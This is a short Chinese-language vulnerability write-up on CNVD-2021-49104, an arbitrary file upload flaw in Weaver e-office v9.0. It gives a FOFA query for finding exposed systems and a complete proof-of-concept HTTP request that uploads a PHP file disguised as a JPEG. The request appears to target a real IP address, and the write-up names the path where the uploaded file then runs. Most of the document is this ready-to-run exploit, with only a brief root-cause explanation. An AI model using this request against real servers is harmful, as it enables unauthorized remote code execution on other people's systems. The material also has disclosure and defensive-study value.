0x01 漏洞详情
该漏洞为未公开漏洞 CNVD-2021-49104,该漏洞是由于 e-office 未能正确处理上传模块中用户输入导致的,攻击者可以构造恶意的上传数据包,实现任意代码执行。
0x02 漏洞影响
泛微 e-office v9.0
0x03 fofa语法
app="泛微-EOffice"
0x04 漏洞复现
漏洞的poc
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 112.74.126.143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 192
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo();?>
--e64bdf16c554bbc109cecef6451c26a4--
上传成功后访问 /images/logo/logo-eoffice.php
0x05 漏洞分析
由于木有源代码,以下部分的图来自peqi师傅
当ploadType 参数设为 eoffice_logo时,targetpath参数为文件的路径,ext获取文件的后缀名,拼接到log-eoffice中,由于未对用户用户上传图片进行过滤,导致任意文件上传
0x06 参考地址
https://mp.weixin.qq.com/s/uAhcQ8O1HKHZ6JLZ_pmNzg